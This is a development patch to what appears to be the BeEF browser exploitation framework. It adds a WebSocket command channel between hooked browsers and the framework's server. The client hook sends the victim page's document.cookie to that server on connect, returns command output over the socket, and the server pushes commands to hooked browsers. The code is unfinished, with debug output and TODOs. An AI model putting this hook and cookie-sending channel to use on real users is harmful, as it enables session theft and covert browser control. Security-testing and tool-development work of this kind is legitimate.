From af9b3c97b570c7cf4e3e0b486d0c8b43fdf6e5f7 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Wed, 11 Apr 2012 20:52:47 +0200 Subject: [PATCH] Added polling stop if websocket is up in updater.js added hash for websocket in websocket.rb added check for websocket existence in command.rb and net.js added a POC onmessage function in websocket.js added check for websocket support in init.js added a POC send to send command output to server in beef.js --- config.yaml | 2 +- core/main/client/beef.js | 13 +++++++++--- core/main/client/init.js | 4 ++-- core/main/client/net.js | 8 ++++++- core/main/client/updater.js | 2 ++ core/main/client/websocket.js | 11 ++++++++-- core/main/handlers/modules/command.rb | 11 ++++++++-- .../main/network_stack/websocket/websocket.rb | 21 +++++++++++++++---- 8 files changed, 57 insertions(+), 15 deletions(-) diff --git a/config.yaml b/config.yaml index baca65fa8..aabd0d5e5 100644 --- a/config.yaml +++ b/config.yaml @@ -71,4 +71,4 @@ beef: enable: false console: shell: - enable: false + enable: true diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 5fc41efda..4bbaa8a30 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -48,9 +48,16 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {Function} the function to execute. */ execute: function(fn) { - this.commands.push(fn); - /*controllare se il websocket è attivo*/ - }, + console.log("inside execute socket status "+beef.websocket.socket); + if(beef.websocket.socket == null) + this.commands.push(fn); + else + beef.websocket.send(fn); + /*@todo controllare se il websocket è attivo in tal caso + beef.websocket.send(fn) */ + // ; + }, + /** diff --git a/core/main/client/init.js b/core/main/client/init.js index 5591585f7..0ac6ad7f7 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -65,8 +65,8 @@ function beef_init() { beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); - /*@TODO we need a check here*/ - beef.websocket.start(); + if(beef.browser.hasWebSocket()) + beef.websocket.start(); } } diff --git a/core/main/client/net.js b/core/main/client/net.js index b5340d472..28dfdefe4 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -86,8 +86,14 @@ beef.net = { //Queues the current command and flushes the queue straight away send: function(handler, cid, results, callback) { + /*@todo insert ceck websocket up?*/ + console.log("inside SEND socket status "+beef.websocket.socket); + + if (beef.websocket.socket == null){ this.queue(handler, cid, results, callback); - this.flush(); + this.flush(); } + else + beef.websocket.send(results); }, //Flush all currently queued commands to the framework diff --git a/core/main/client/updater.js b/core/main/client/updater.js index e65b82e31..90b796947 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -57,6 +57,8 @@ beef.updater = { this.get_commands(); /*Polling*/ } } + /*@Todo Simple ceck to stop polling */ + if (beef.websocket.socket == null) setTimeout("beef.updater.check();", beef.updater.timeout); }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 618e098ea..e155f5f16 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { if (beef.browser.isFF() && ! beef.browser.isFF11) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - } else { + } else{ beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } @@ -40,9 +40,16 @@ beef.websocket = { /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ this.socket.onopen = function () { console.log("Socket has been opened!"); - beef.websocket.send("helo"); + + /*send browser id*/ + beef.websocket.send(document.cookie); console.log("Connected and Helo"); } + this.socket.onmessage = function (message){ + //@todo append the command to head in + console.log("We recive a message "+message.data); + + } }, diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index e2f2a16da..4103056c4 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -48,9 +48,16 @@ module Modules command_module.pre_send build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? + print_info(BeEF::Core::Websocket::Websocket.getsocket(hooked_browser)) - @body << command_module.output + "\n\n" - + #@todo radoen debug this one + if BeEF::Core::Websocket::Websocket.getsocket(hooked_browser) + + BeEF::Core::Websocket::Websocket.sent(command,hooked_browser) + else + @body << command_module.output + "\n\n" + + end # @note prints the event to the console if BeEF::Settings.console? name = command_module.friendlyname || kclass diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 66c0c0b90..58f4b6665 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -17,9 +17,13 @@ module BeEF module Core module Websocket class Websocket + #all hooked browser + + @@activeSocket= Hash.new #empty at begin def initialize + print_info("/n In activesocket we have #{@@activeSocket}") config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") secure = config.get("beef.http.websocket.secure") @@ -39,17 +43,26 @@ module BeEF #command interpretation message=ws.receive() - if (message!="helo") - #module return value case - else + if(/BEEFHOOK=/.match(message)) print_info("Browser #{ws.origin} says helo! ws is running") + #insert new connection in activesocket + @@activeSocket[message.split(/BEEFHOOK=/)] = ws + print_debug("In activesocket we have #{@@activeSocket}") end - end end end } end + #@note used in command.rd return nill if browser is not in list else giveback websocket + def getsocket (browser_id) + @@activeSocket[browser_id] + end + #@note send a function to hooked and ws browser + def sent (fn ,browser_id ) + @@activeSocket[browser_id].send(fn) + end + end end end